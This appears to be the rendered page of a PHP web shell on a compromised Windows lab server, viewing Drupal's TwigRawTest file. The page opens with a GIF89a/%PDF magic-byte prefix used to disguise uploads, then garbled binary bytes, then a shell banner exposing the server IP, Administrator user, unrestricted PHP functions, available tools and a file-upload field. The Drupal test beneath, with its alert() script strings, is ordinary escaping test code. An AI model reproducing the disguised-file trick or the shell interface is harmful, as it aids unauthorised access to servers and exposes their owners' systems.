GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/system/src/Tests/Theme/ |
Upload File : |
<?php namespace Drupal\system\Tests\Theme; use Drupal\simpletest\WebTestBase; /** * Tests Twig 'raw' filter. * * @group Theme */ class TwigRawTest extends WebTestBase { /** * Modules to enable. * * @var array */ public static $modules = ['twig_theme_test']; /** * Tests the raw filter inside an autoescape tag. */ public function testAutoescapeRaw() { $test = [ '#theme' => 'twig_raw_test', '#script' => '<script>alert("This alert is real because I will put it through the raw filter!");</script>', ]; $rendered = \Drupal::service('renderer')->renderRoot($test); $this->setRawContent($rendered); $this->assertRaw('<script>alert("This alert is real because I will put it through the raw filter!");</script>'); } /** * Tests autoescaping of unsafe content. * * This is one of the most important tests in Drupal itself in terms of * security. */ public function testAutoescape() { $script = '<script>alert("This alert is unreal!");</script>'; $build = [ '#theme' => 'twig_autoescape_test', '#script' => $script, ]; $rendered = \Drupal::service('renderer')->renderRoot($build); $this->setRawContent($rendered); $this->assertEscaped($script); } }